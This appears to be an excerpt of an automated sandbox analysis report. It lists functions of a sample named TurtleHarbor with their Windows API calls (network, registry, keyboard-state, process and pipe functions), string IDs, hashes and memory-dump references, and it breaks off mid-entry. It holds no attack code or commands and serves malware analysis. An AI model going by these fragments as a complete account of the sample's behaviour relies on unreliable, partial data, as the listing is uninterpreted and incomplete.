                                            • API ID: Menu$Delete$InfoItem_memset
                                            • String ID: 0
                                            • API String ID: 1173514356-4108050209
                                            • Opcode ID: 5f1461a9b5a77944eb70263b60fb55fa5a2443a13e61348ea62902b8b7583cb3
                                            • Instruction ID: df522c9c26936340b8e36cf8d248ab7dd1b8d5995425d98adbfef12d1661023b
                                            • Opcode Fuzzy Hash: 5f1461a9b5a77944eb70263b60fb55fa5a2443a13e61348ea62902b8b7583cb3
                                            • Instruction Fuzzy Hash: 7241C3312083419FD736DF24C884B5BBBE8BF89310F118A1DF46A9B291D774EA05CB52
                                            Function 0038DE8E Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 101COMMON
                                            Download Yara Rule
                                            APIs
                                            • CharLowerBuffW.USER32(?,?,?,?,00000000,?,?), ref: 0038DEAE
                                              • Part of subcall function 00321462: _memmove.LIBCMT ref: 003214B0
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: BuffCharLower_memmove
                                            • String ID: cdecl$none$stdcall$winapi
                                            • API String ID: 3425801089-567219261
                                            • Opcode ID: f0b337c5982991a8ff82a2aed5aa28c5e6e8a8f0337b0c5244ebd2b6c932174b
                                            • Instruction ID: 9e636c768bcfc3d484138b61cf099100b15a2486509d43e147ac9ccb2b5da62e
                                            • Opcode Fuzzy Hash: f0b337c5982991a8ff82a2aed5aa28c5e6e8a8f0337b0c5244ebd2b6c932174b
                                            • Instruction Fuzzy Hash: 5531B074900229AFCF06EF54D9419EEB3B4FF15324B108669F9269B6D1DB31AD05CB80
                                            Function 00369A48 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 94windowCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00321A36: _memmove.LIBCMT ref: 00321A77
                                              • Part of subcall function 0036B79A: GetClassNameW.USER32(?,?,000000FF), ref: 0036B7BD
                                            • SendMessageW.USER32(?,00000188,00000000,00000000), ref: 00369ACC
                                            • SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 00369ADF
                                            • SendMessageW.USER32(?,00000189,?,00000000), ref: 00369B0F
                                              • Part of subcall function 00321821: _memmove.LIBCMT ref: 0032185B
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: MessageSend$_memmove$ClassName
                                            • String ID: ComboBox$ListBox
                                            • API String ID: 365058703-1403004172
                                            • Opcode ID: e5ad5df60cabb3d03d2ea9440d444c3992469bde3b54709941294dc95de5c201
                                            • Instruction ID: dcbc455cab852d0704ddfccf01d22af97b7f6f7d785a629da73f03d4192dd205
                                            • Opcode Fuzzy Hash: e5ad5df60cabb3d03d2ea9440d444c3992469bde3b54709941294dc95de5c201
                                            • Instruction Fuzzy Hash: AE213571900104BEDB1AEBA4EC86EFFB7BCDF56360F14811AF8219B2E4DB340D098660
                                            Function 00381EF9 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 86networkCOMMON
                                            Download Yara Rule
                                            APIs
                                            • InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 00381F18
                                            • HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00381F3E
                                            • HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 00381F6E
                                            • InternetCloseHandle.WININET(00000000), ref: 00381FB5
                                              • Part of subcall function 00382B4F: GetLastError.KERNEL32(?,?,00381EE3,00000000,00000000,00000001), ref: 00382B64
                                              • Part of subcall function 00382B4F: SetEvent.KERNEL32(?,?,00381EE3,00000000,00000000,00000001), ref: 00382B79
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: HttpInternet$CloseErrorEventHandleInfoLastOpenQueryRequestSend
                                            • String ID:
                                            • API String ID: 3113390036-3916222277
                                            • Opcode ID: c9aa425c18dc371e9d0f3b63c0faf1c9a8c5e9600e6683183b3932f313052697
                                            • Instruction ID: 3e73f2e35801677208415e310d27025d2c02ec37d1fdde4c0243a0a44a2cc3a0
                                            • Opcode Fuzzy Hash: c9aa425c18dc371e9d0f3b63c0faf1c9a8c5e9600e6683183b3932f313052697
                                            • Instruction Fuzzy Hash: 12218EB1604308BEE713AF608C85EBF76ADEB49B94F10425AF505A6240DB359D069BA1
                                            Function 00396A0C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 80windowlibraryCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00312111: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 0031214F
                                              • Part of subcall function 00312111: GetStockObject.GDI32(00000011), ref: 00312163
                                              • Part of subcall function 00312111: SendMessageW.USER32(00000000,00000030,00000000), ref: 0031216D
                                            • SendMessageW.USER32(00000000,00000467,00000000,?), ref: 00396A86
                                            • LoadLibraryW.KERNEL32(?), ref: 00396A8D
                                            • SendMessageW.USER32(?,00000467,00000000,00000000), ref: 00396AA2
                                            • DestroyWindow.USER32(?), ref: 00396AAA
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: MessageSend$Window$CreateDestroyLibraryLoadObjectStock
                                            • String ID: SysAnimate32
                                            • API String ID: 4146253029-1011021900
                                            • Opcode ID: ad4e3edacacaa1da1f785381609e9170ab98406aeed17344c95d141ff6785a5a
                                            • Instruction ID: c4ae37a3f2f97ac5658ee5aa009770881dc9a6885c12f0b6643186682f239d5d
                                            • Opcode Fuzzy Hash: ad4e3edacacaa1da1f785381609e9170ab98406aeed17344c95d141ff6785a5a
                                            • Instruction Fuzzy Hash: 7321DEB1211206AFEF128F74DC82EBB37ACEF59364F118619FA10A6090D331CC50A760
                                            Function 00377357 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79filepipeCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetStdHandle.KERNEL32(0000000C), ref: 00377377
                                            • CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 003773AA
                                            • GetStdHandle.KERNEL32(0000000C), ref: 003773BC
                                            • CreateFileW.KERNEL32(nul,40000000,00000002,0000000C,00000003,00000080,00000000), ref: 003773F6
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: CreateHandle$FilePipe
                                            • String ID: nul
                                            • API String ID: 4209266947-2873401336
                                            • Opcode ID: d738d2be0a49d9c219ee4ebccd5f91b25dfe6e2bb501b2301cafa4707255ee69
                                            • Instruction ID: f3f040515f6279bba82c0e10f2598dad385656daa775a205b5f30723cafb0257
                                            • Opcode Fuzzy Hash: d738d2be0a49d9c219ee4ebccd5f91b25dfe6e2bb501b2301cafa4707255ee69
                                            • Instruction Fuzzy Hash: 4121A77450830A9BEB328F65DC05A9E77E8EF45720F218A19FCA4D72D0D774D850EBA0
                                            Function 00377425 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79filepipeCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetStdHandle.KERNEL32(000000F6), ref: 00377444
                                            • CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00377476
                                            • GetStdHandle.KERNEL32(000000F6), ref: 00377487
                                            • CreateFileW.KERNEL32(nul,80000000,00000001,0000000C,00000003,00000080,00000000), ref: 003774C1
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: CreateHandle$FilePipe
                                            • String ID: nul
                                            • API String ID: 4209266947-2873401336
                                            • Opcode ID: 597ee0d5eff3c09c380b19ff039bb7ced0894169fc0878df6398922069600147
                                            • Instruction ID: a80b4876ff86f7356fe65243c73f6db5b51021c2e0988e09f4c26f962928d2ce
                                            • Opcode Fuzzy Hash: 597ee0d5eff3c09c380b19ff039bb7ced0894169fc0878df6398922069600147
                                            • Instruction Fuzzy Hash: 1021C4316083059BDB319F6A8C49F997BA8AF45730F218B19F9A4D72D0DB749841CB50
                                            Function 0037B283 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73COMMON
                                            Download Yara Rule
                                            APIs
                                            • SetErrorMode.KERNEL32(00000001), ref: 0037B297
                                            • GetVolumeInformationW.KERNEL32(?,?,00007FFF,?,00000000,00000000,00000000,00000000), ref: 0037B2EB
                                            • __swprintf.LIBCMT ref: 0037B304
                                            • SetErrorMode.KERNEL32(00000000,00000001,00000000,003A0980), ref: 0037B342
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: ErrorMode$InformationVolume__swprintf
                                            • String ID: %lu
                                            • API String ID: 3164766367-685833217
                                            • Opcode ID: c434260e5894871f0aee40d3510aa8421434d0fe0a0dcae8728a6604c4cbdb67
                                            • Instruction ID: efb868e18e753955a902a5de3ec3d3c373cea78d85ee33fb7640e6932302371f
                                            • Opcode Fuzzy Hash: c434260e5894871f0aee40d3510aa8421434d0fe0a0dcae8728a6604c4cbdb67
                                            • Instruction Fuzzy Hash: AC217435600208AFCB15DF65C885EEEB7B8EF89704F108069F509DB352DB31EA45CB61
                                            Function 0036AC05 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 68windowCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00321821: _memmove.LIBCMT ref: 0032185B
                                              • Part of subcall function 0036AA52: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,00000001), ref: 0036AA6F
                                              • Part of subcall function 0036AA52: GetWindowThreadProcessId.USER32(?,00000000), ref: 0036AA82
                                              • Part of subcall function 0036AA52: GetCurrentThreadId.KERNEL32 ref: 0036AA89
                                              • Part of subcall function 0036AA52: AttachThreadInput.USER32(00000000), ref: 0036AA90
                                            • GetFocus.USER32 ref: 0036AC2A
                                              • Part of subcall function 0036AA9B: GetParent.USER32(?), ref: 0036AAA9
                                            • GetClassNameW.USER32(?,?,00000100), ref: 0036AC73
                                            • EnumChildWindows.USER32(?,0036ACEB), ref: 0036AC9B
                                            • __swprintf.LIBCMT ref: 0036ACB5
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Thread$AttachChildClassCurrentEnumFocusInputMessageNameParentProcessSendTimeoutWindowWindows__swprintf_memmove
                                            • String ID: %s%d
                                            • API String ID: 1941087503-1110647743
                                            • Opcode ID: 30d52d5011271007c35ca4dadb9b53e4c25004c1e1f90f2fbc2c17a1ec489b32
                                            • Instruction ID: 40178eab4efe067e68bc50cbea2f745671f6553ab49e98ae3e351a24ffecbafd
                                            • Opcode Fuzzy Hash: 30d52d5011271007c35ca4dadb9b53e4c25004c1e1f90f2fbc2c17a1ec489b32
                                            • Instruction Fuzzy Hash: DC11CD74200204ABCF13BFA0DD85FEA776CAB45300F0080B9FA08AA146CA715945CF71
                                            Function 003722E7 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 49COMMON
                                            Download Yara Rule
                                            APIs
                                            • CharUpperBuffW.USER32(?,?), ref: 00372318
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: BuffCharUpper
                                            • String ID: APPEND$EXISTS$KEYS$REMOVE
                                            • API String ID: 3964851224-769500911
                                            • Opcode ID: 16be595af307c0585abec383290f374cdecc3225340434a9da0009828c06f1cb
                                            • Instruction ID: 3b256bfbff112a000c90d9ee9704a1810a9fcea0432d656e1d118973ed4cde20
                                            • Opcode Fuzzy Hash: 16be595af307c0585abec383290f374cdecc3225340434a9da0009828c06f1cb
                                            • Instruction Fuzzy Hash: EB115E38900118DFCF46EF94D9A1AEFB7B8FF16344F108469D815AB261EB3A5E06CB50
                                            Function 0038F23E Relevance: 7.7, APIs: 5, Instructions: 247COMMON
                                            Download Yara Rule
                                            APIs
                                            • OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 0038F2F0
                                            • GetProcessIoCounters.KERNEL32(00000000,?), ref: 0038F320
                                            • GetProcessMemoryInfo.PSAPI(00000000,?,00000028), ref: 0038F453
                                            • CloseHandle.KERNEL32(?), ref: 0038F4D4
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Process$CloseCountersHandleInfoMemoryOpen
                                            • String ID:
                                            • API String ID: 2364364464-0
                                            • Opcode ID: f8fc714eb81c9338e72cd0602c8fbc37e201bff4f88500caf87a5a6d1d7b9598
                                            • Instruction ID: 152b1c9c512dea25ffa553339871187f2735b67e3191e91a68c1d41e5cd5cff7
                                            • Opcode Fuzzy Hash: f8fc714eb81c9338e72cd0602c8fbc37e201bff4f88500caf87a5a6d1d7b9598
                                            • Instruction Fuzzy Hash: A481A3B16003009FD726EF29D882F6AB7E5AF4C710F14885DF999DB392D7B0AC818B51
                                            Function 00390697 Relevance: 7.6, APIs: 5, Instructions: 144registryCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00321A36: _memmove.LIBCMT ref: 00321A77
                                              • Part of subcall function 0039147A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0039040D,?,?), ref: 00391491
                                            • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0039075D
                                            • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 0039079C
                                            • RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 003907E3
                                            • RegCloseKey.ADVAPI32(?,?), ref: 0039080F
                                            • RegCloseKey.ADVAPI32(00000000), ref: 0039081C
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Close$BuffCharConnectEnumOpenRegistryUpper_memmove
                                            • String ID:
                                            • API String ID: 3440857362-0
                                            • Opcode ID: ff55411b8285053c46ac393cf596cf9df2076297bb7f8cc3d261716da2f5c2ec
                                            • Instruction ID: 26bd5241558d82a4cbf75161ab723df42136cc5580615de0eaf85902c383f615
                                            • Opcode Fuzzy Hash: ff55411b8285053c46ac393cf596cf9df2076297bb7f8cc3d261716da2f5c2ec
                                            • Instruction Fuzzy Hash: 44515E71208205AFDB0AEF64C981F6BB7E9FF89314F00891DF5958B291DB30E945CB92
                                            Function 0037EBB4 Relevance: 7.6, APIs: 5, Instructions: 135COMMON
                                            Download Yara Rule
                                            APIs
                                            • GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 0037EC62
                                            • GetPrivateProfileSectionW.KERNEL32(?,00000001,00000003,?), ref: 0037EC8B
                                            • WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 0037ECCA
                                              • Part of subcall function 00314D37: __itow.LIBCMT ref: 00314D62
                                              • Part of subcall function 00314D37: __swprintf.LIBCMT ref: 00314DAC
                                            • WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 0037ECEF
                                            • WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 0037ECF7
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: PrivateProfile$SectionWrite$String$__itow__swprintf
                                            • String ID:
                                            • API String ID: 1389676194-0
                                            • Opcode ID: 0a96f8a35cfca8114b416952fb0d9cbad50820b248e4bbc4fe0f5ca79a933aca
                                            • Instruction ID: 0e50de9527a73dadc2383d555578993ea8793fe81a274089341f1570e6f50117
                                            • Opcode Fuzzy Hash: 0a96f8a35cfca8114b416952fb0d9cbad50820b248e4bbc4fe0f5ca79a933aca
                                            • Instruction Fuzzy Hash: AB513875A00209DFCB16EF64D985AAEBBF5EF0D310B148099E849AF362DB31ED51CB50
                                            Function 0039A67B Relevance: 7.6, APIs: 5, Instructions: 130COMMON
                                            Download Yara Rule
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID:
                                            • API String ID:
                                            • Opcode ID: fdd54597e5e1f4ec96bd9011f0b1344e4ac45cae55dbaa69bad39fc580e15e96
                                            • Instruction ID: a94ed029f5030d18f05ab0dbf58e56ff56a978bdec342f7c5f68620b468d2f66
                                            • Opcode Fuzzy Hash: fdd54597e5e1f4ec96bd9011f0b1344e4ac45cae55dbaa69bad39fc580e15e96
                                            • Instruction Fuzzy Hash: 38410635900514AFDF16DBE8CC86FA9BBB8EB0A310F160355F816A72D1D7309D41DAD1
                                            Function 00312714 Relevance: 7.6, APIs: 5, Instructions: 111keyboardCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetCursorPos.USER32(?), ref: 00312727
                                            • ScreenToClient.USER32(003D77B0,?), ref: 00312744
                                            • GetAsyncKeyState.USER32(00000001), ref: 00312769
                                            • GetAsyncKeyState.USER32(00000002), ref: 00312777
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: AsyncState$ClientCursorScreen
                                            • String ID:
                                            • API String ID: 4210589936-0
                                            • Opcode ID: 17dc50d97f5d9ced29e08eeca3f9f91e058d2f727364e3b7b801f074c6825e69
                                            • Instruction ID: 08dc51057ce585f09c5928f55bff54825c888513ec02bf088bc2444a432600cb
                                            • Opcode Fuzzy Hash: 17dc50d97f5d9ced29e08eeca3f9f91e058d2f727364e3b7b801f074c6825e69
                                            • Instruction Fuzzy Hash: 05418235505109FFDF1B9FA8C844AEABBB4FB0A324F108319F824962D1C734ADA0DB91
                                            Function 003695D7 Relevance: 7.6, APIs: 5, Instructions: 89sleepwindowCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetWindowRect.USER32(?,?), ref: 003695E8
                                            • PostMessageW.USER32(?,00000201,00000001), ref: 00369692
                                            • Sleep.KERNEL32(00000000,?,00000201,00000001,?,?,?), ref: 0036969A
                                            • PostMessageW.USER32(?,00000202,00000000), ref: 003696A8
                                            • Sleep.KERNEL32(00000000,?,00000202,00000000,?,?,00000201,00000001,?,?,?), ref: 003696B0
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: MessagePostSleep$RectWindow
                                            • String ID:
                                            • API String ID: 3382505437-0
                                            • Opcode ID: b076680e711869048d7aac844f13b987f50662a41edc0209c57672514d80a122
                                            • Instruction ID: 51c03a40fbb41534bd7f2c35e534161c8d843058b6ab75eb4a09f6e1fcf2e44f
                                            • Opcode Fuzzy Hash: b076680e711869048d7aac844f13b987f50662a41edc0209c57672514d80a122
                                            • Instruction Fuzzy Hash: 6731EE31900319EFDB15CFA8D94CB9E7BB9FB45325F11821AF824AB1D0C3B09920DB90
                                            Function 0036BD85 Relevance: 7.6, APIs: 5, Instructions: 88windowCOMMON
                                            Download Yara Rule
                                            APIs
